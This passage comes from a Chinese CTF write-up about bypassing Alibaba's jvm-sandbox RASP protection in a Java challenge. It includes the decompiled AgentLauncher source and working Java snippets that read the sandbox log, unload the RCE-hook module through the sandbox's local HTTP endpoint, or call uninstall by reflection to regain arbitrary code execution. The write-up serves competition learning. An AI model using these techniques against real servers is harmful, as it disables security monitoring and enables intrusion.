"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"]

with open("agent.jar", "ab+") as f:
for i in data:
f.write(base64.b64decode(i))

反编译后的源码如下:

//  
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.alibaba.jvm.sandbox.agent;

import java.io.File;
import java.io.FileWriter;
import java.io.IOException;
import java.lang.instrument.Instrumentation;
import java.net.InetSocketAddress;
import java.util.LinkedHashMap;
import java.util.Map;
import java.util.concurrent.ConcurrentHashMap;
import java.util.jar.JarFile;
import java.util.regex.Matcher;
import java.util.regex.Pattern;

public class AgentLauncher {
private static final String DEFAULT_SANDBOX_HOME = (new File(AgentLauncher.class.getProtectionDomain().getCodeSource().getLocation().getFile())).getParentFile().getParent();
private static final String SANDBOX_USER_MODULE_PATH;
private static final String LAUNCH_MODE_AGENT = "agent";
private static final String LAUNCH_MODE_ATTACH = "attach";
private static String LAUNCH_MODE;
private static final String RESULT_FILE_PATH;
private static final Map<String, SandboxClassLoader> sandboxClassLoaderMap;
private static final String CLASS_OF_CORE_CONFIGURE = "com.alibaba.jvm.sandbox.core.CoreConfigure";
private static final String CLASS_OF_PROXY_CORE_SERVER = "com.alibaba.jvm.sandbox.core.server.ProxyCoreServer";
private static final String EMPTY_STRING = "";
private static final String KEY_SANDBOX_HOME = "home";
private static final String KEY_NAMESPACE = "namespace";
private static final String DEFAULT_NAMESPACE = "default";
private static final String KEY_SERVER_IP = "server.ip";
private static final String DEFAULT_IP = "0.0.0.0";
private static final String KEY_SERVER_PORT = "server.port";
private static final String DEFAULT_PORT = "0";
private static final String KEY_TOKEN = "token";
private static final String DEFAULT_TOKEN = "";
private static final String KEY_PROPERTIES_FILE_PATH = "prop";
private static final String OS;

public AgentLauncher() {
}

private static String getSandboxCfgPath(String sandboxHome) {
return sandboxHome + File.separatorChar + "cfg";
}

private static String getSandboxModulePath(String sandboxHome) {
return sandboxHome + File.separatorChar + "module";
}

private static String getSandboxCoreJarPath(String sandboxHome) {
return sandboxHome + File.separatorChar + "lib" + File.separator + "sandbox-core.jar";
}

private static String getSandboxSpyJarPath(String sandboxHome) {
return sandboxHome + File.separatorChar + "lib" + File.separator + "sandbox-spy.jar";
}

private static String getSandboxPropertiesPath(String sandboxHome) {
String var10000 = getSandboxCfgPath(sandboxHome);
return var10000 + File.separator + "sandbox.properties";
}

private static String getSandboxProviderPath(String sandboxHome) {
return sandboxHome + File.separatorChar + "provider";
}

public static void premain(String featureString, Instrumentation inst) {
LAUNCH_MODE = "agent";
install(toFeatureMap(featureString), inst);
}

public static void agentmain(String featureString, Instrumentation inst) {
LAUNCH_MODE = "attach";
Map<String, String> featureMap = toFeatureMap(featureString);
writeAttachResult(getNamespace(featureMap), getToken(featureMap), install(featureMap, inst));
}

private static synchronized void writeAttachResult(String namespace, String token, InetSocketAddress local) {
File file = new File(RESULT_FILE_PATH);
if (!file.exists() || file.isFile() && file.canWrite()) {
try {
FileWriter fw = new FileWriter(file, true);

try {
fw.append(String.format("%s;%s;%s;%s\n", namespace, token, local.getHostName(), local.getPort()));
fw.flush();
} catch (Throwable var8) {
try {
fw.close();
} catch (Throwable var7) {
var8.addSuppressed(var7);
}

throw var8;
}

fw.close();
} catch (IOException var9) {
throw new RuntimeException(var9);
}
} else {
throw new RuntimeException("write to result file : " + file + " failed.");
}
}

private static synchronized ClassLoader loadOrDefineClassLoader(String namespace, String coreJar) throws Throwable {
SandboxClassLoader classLoader;
if (sandboxClassLoaderMap.containsKey(namespace) && null != sandboxClassLoaderMap.get(namespace)) {
classLoader = (SandboxClassLoader)sandboxClassLoaderMap.get(namespace);
} else {
classLoader = new SandboxClassLoader(namespace, coreJar);
sandboxClassLoaderMap.put(namespace, classLoader);
}

return classLoader;
}

public static synchronized void uninstall(String namespace) throws Throwable {
SandboxClassLoader sandboxClassLoader = (SandboxClassLoader)sandboxClassLoaderMap.get(namespace);
if (null != sandboxClassLoader) {
Class<?> classOfProxyServer = sandboxClassLoader.loadClass("com.alibaba.jvm.sandbox.core.server.ProxyCoreServer");
classOfProxyServer.getMethod("destroy").invoke(classOfProxyServer.getMethod("getInstance").invoke((Object)null));
sandboxClassLoader.closeIfPossible();
sandboxClassLoaderMap.remove(namespace);
}
}

private static synchronized InetSocketAddress install(Map<String, String> featureMap, Instrumentation inst) {
String namespace = getNamespace(featureMap);
String propertiesFilePath = getPropertiesFilePath(featureMap);
String coreFeatureString = toFeatureString(featureMap);

try {
String home = getSandboxHome(featureMap);
inst.appendToBootstrapClassLoaderSearch(new JarFile(new File(getSandboxSpyJarPath(home))));
ClassLoader sandboxClassLoader = loadOrDefineClassLoader(namespace, getSandboxCoreJarPath(home));
Class<?> classOfConfigure = sandboxClassLoader.loadClass("com.alibaba.jvm.sandbox.core.CoreConfigure");
Object objectOfCoreConfigure = classOfConfigure.getMethod("toConfigure", String.class, String.class).invoke((Object)null, coreFeatureString, propertiesFilePath);
Class<?> classOfProxyServer = sandboxClassLoader.loadClass("com.alibaba.jvm.sandbox.core.server.ProxyCoreServer");
Object objectOfProxyServer = classOfProxyServer.getMethod("getInstance").invoke((Object)null);
boolean isBind = (Boolean)classOfProxyServer.getMethod("isBind").invoke(objectOfProxyServer);
if (!isBind) {
try {
classOfProxyServer.getMethod("bind", classOfConfigure, Instrumentation.class).invoke(objectOfProxyServer, objectOfCoreConfigure, inst);
} catch (Throwable var13) {
classOfProxyServer.getMethod("destroy").invoke(objectOfProxyServer);
throw var13;
}
}

return (InetSocketAddress)classOfProxyServer.getMethod("getLocal").invoke(objectOfProxyServer);
} catch (Throwable var14) {
throw new RuntimeException("sandbox attach failed.", var14);
}
}

private static boolean isNotBlankString(String string) {
return null != string && string.length() > 0 && !string.matches("^\\s*$");
}

private static boolean isBlankString(String string) {
return !isNotBlankString(string);
}

private static String getDefaultString(String string, String defaultString) {
return isNotBlankString(string) ? string : defaultString;
}

private static Map<String, String> toFeatureMap(String featureString) {
Map<String, String> featureMap = new LinkedHashMap();
if (isBlankString(featureString)) {
return featureMap;
} else {
String[] kvPairSegmentArray = featureString.split(";");
if (kvPairSegmentArray.length == 0) {
return featureMap;
} else {
String[] var3 = kvPairSegmentArray;
int var4 = kvPairSegmentArray.length;

for(int var5 = 0; var5 < var4; ++var5) {
String kvPairSegmentString = var3[var5];
if (!isBlankString(kvPairSegmentString)) {
String[] kvSegmentArray = kvPairSegmentString.split("=");
if (kvSegmentArray.length == 2 && !isBlankString(kvSegmentArray[0]) && !isBlankString(kvSegmentArray[1])) {
featureMap.put(kvSegmentArray[0], kvSegmentArray[1]);
}
}
}

return featureMap;
}
}
}

private static String getDefault(Map<String, String> map, String key, String defaultValue) {
return null != map && !map.isEmpty() ? getDefaultString((String)map.get(key), defaultValue) : defaultValue;
}

private static boolean isWindows() {
return OS.contains("win");
}

private static String getSandboxHome(Map<String, String> featureMap) {
String home = getDefault(featureMap, "home", DEFAULT_SANDBOX_HOME);
if (isWindows()) {
Matcher m = Pattern.compile("(?i)^[/\\\\]([a-z])[/\\\\]").matcher(home);
if (m.find()) {
home = m.replaceFirst("$1:/");
}
}

return home;
}

private static String getNamespace(Map<String, String> featureMap) {
return getDefault(featureMap, "namespace", "default");
}

private static String getToken(Map<String, String> featureMap) {
return getDefault(featureMap, "token", "");
}

private static String getPropertiesFilePath(Map<String, String> featureMap) {
return getDefault(featureMap, "prop", getSandboxPropertiesPath(getSandboxHome(featureMap)));
}

private static void appendFromFeatureMap(StringBuilder featureSB, Map<String, String> featureMap, String key, String defaultValue) {
if (featureMap.containsKey(key)) {
featureSB.append(String.format("%s=%s;", key, getDefault(featureMap, key, defaultValue)));
}

}

private static String toFeatureString(Map<String, String> featureMap) {
String sandboxHome = getSandboxHome(featureMap);
StringBuilder featureSB = new StringBuilder(String.format(";cfg=%s;system_module=%s;mode=%s;sandbox_home=%s;user_module=%s;provider=%s;namespace=%s;", getSandboxCfgPath(sandboxHome), getSandboxModulePath(sandboxHome), LAUNCH_MODE, sandboxHome, SANDBOX_USER_MODULE_PATH, getSandboxProviderPath(sandboxHome), getNamespace(featureMap)));
appendFromFeatureMap(featureSB, featureMap, "server.ip", "0.0.0.0");
appendFromFeatureMap(featureSB, featureMap, "server.port", "0");
return featureSB.toString();
}

static {
SANDBOX_USER_MODULE_PATH = DEFAULT_SANDBOX_HOME + File.separator + "sandbox-module";
String var10000 = System.getProperties().getProperty("user.home");
RESULT_FILE_PATH = var10000 + File.separator + ".sandbox.token";
sandboxClassLoaderMap = new ConcurrentHashMap();
OS = System.getProperty("os.name").toLowerCase();
}
}

这个沙箱是阿里云的一个sandbox项目,项目地址:https://github.com/alibaba/jvm-sandbox

其中他是有一个卸载沙箱的操作的,这是官方给出的卸载命令

./sandbox.sh -p 33342 -S
jvm-sandbox[default] shutdown finished.

这题看了各个文章,他们的做法也都是直接卸载rasp沙箱来实现绕过,有段更详细的卸载操作在他的.sh脚本文件里面,我们可以直接将他的脚本粘贴过去问一下gpt它是如何卸载的

image-20241111220208835

这里有个-u可以卸载指定模块

它里面的具体操作是调用一个sandbox_curl_with_exit函数发起请求到沙箱服务器来执行卸载模块的操作,官方脚本示例如下

image-20241111222729536

那么我们就可以通过直接请求对应的url来进行模块的卸载,那么rasp监听的是哪个端口呢,这个我们去看rasp的log就能知道了

查看日志

try {
java.net.URL url = new java.net.URL("file:///home/ctf/logs/sandbox/sandbox.log");
java.io.InputStream inputStream = url.openStream();
byte[] bytes = new byte[0];
bytes = new byte[inputStream.available()];
inputStream.read(bytes);
System.out.println(new String(bytes));
System.out.println(java.util.Base64.getEncoder().encodeToString(bytes));
}catch (Exception e){
System.out.println("error");
}

那么我们就可以写一个请求代码去请求本地的rasp接口然后卸载模块:http://127.0.0.1:port/sandbox/default/module/http/sandbox-module-mgr/unload?action=unload&ids=rasp-rce-native-hook

java.net.URL url = null;
try {
url = new java.net.URL("http://127.0.0.1:<port>/sandbox/default/module/http/sandbox-module-mgr/unload?action=unload&ids=rasp-rce-native-hook");
java.net.HttpURLConnection connection = (java.net.HttpURLConnection) url.openConnection();
connection.setRequestMethod("GET");
connection.setUseCaches(false);
connection.setConnectTimeout(5000); // 5 seconds
int responseCode = connection.getResponseCode();
java.lang.System.out.println("Response Code : " + responseCode);
if (responseCode == java.net.HttpURLConnection.HTTP_OK) {
java.io.InputStream inputStream = connection.getInputStream();
java.io.InputStreamReader inputStreamReader = new java.io.InputStreamReader(inputStream);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(inputStreamReader);

java.lang.String output;
java.lang.StringBuffer response = new java.lang.StringBuffer();
while ((output = bufferedReader.readLine()) != null) {
response.append(output);
}
bufferedReader.close();
inputStreamReader.close();
inputStream.close();
connection.disconnect();
java.lang.System.out.println("Response Body: " + response.toString());
} else {
java.lang.System.out.println("Request failed!");
}
} catch (java.net.MalformedURLException e) {
e.printStackTrace();
} catch (java.io.IOException e) {
e.printStackTrace();
}

然后就可以执行任意代码了,至于我们需要卸载的模块名称在日志里面也是能看到的,日志的路径也可以在项目的logback.xml中看到

image-20241111223601498

卸载完之后就能执行任意代码了

直接调用uninstall来卸载模块

还可以直接根据前面的源码知道他又uninstall方法可以用来卸载模块,就可以直接写恶意代码来卸载模块

try {
// 使用类加载器动态加载 AgentLauncher 类
Class<?> agentLauncherClass = Class.forName("com.alibaba.jvm.sandbox.agent.AgentLauncher");

// 获取 uninstall 方法
System.out.println(agentLauncherClass);
String className =Thread.currentThread().getStackTrace()[1].getClassName();
System.out.println("当前类名: " + className);
java.lang.reflect.Method uninstallMethod = agentLauncherClass.getDeclaredMethod("uninstall", String.class);

uninstallMethod.invoke(null, "default");

System.out.println("Sandbox 卸载成功!");

} catch (Exception e) {
System.err.println("调用卸载方法时出错: " + e.getMessage());
e.printStackTrace();
}

参考

https://aiwin.fun/index.php/archives/4389/

https://www.bookstack.cn/read/anbai-inc-javaweb-sec/javase-CommandExecution-README.md

https://dummykitty.github.io/java/2023/06/15/Java-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E7%BB%95%E8%BF%87-RASP.html

强网拟态的文章

https://xz.aliyun.com/t/15907?time__1311=GqjxcD2DuDRDyGDlxGo%2BCfoY5D%3DeQh4he%2BD

https://blog.potatowo.top/2024/10/21/%E5%BC%BA%E7%BD%91%E6%8B%9F%E6%80%812024Web-Writeup

https://blog.wm-team.cn/index.php/archives/84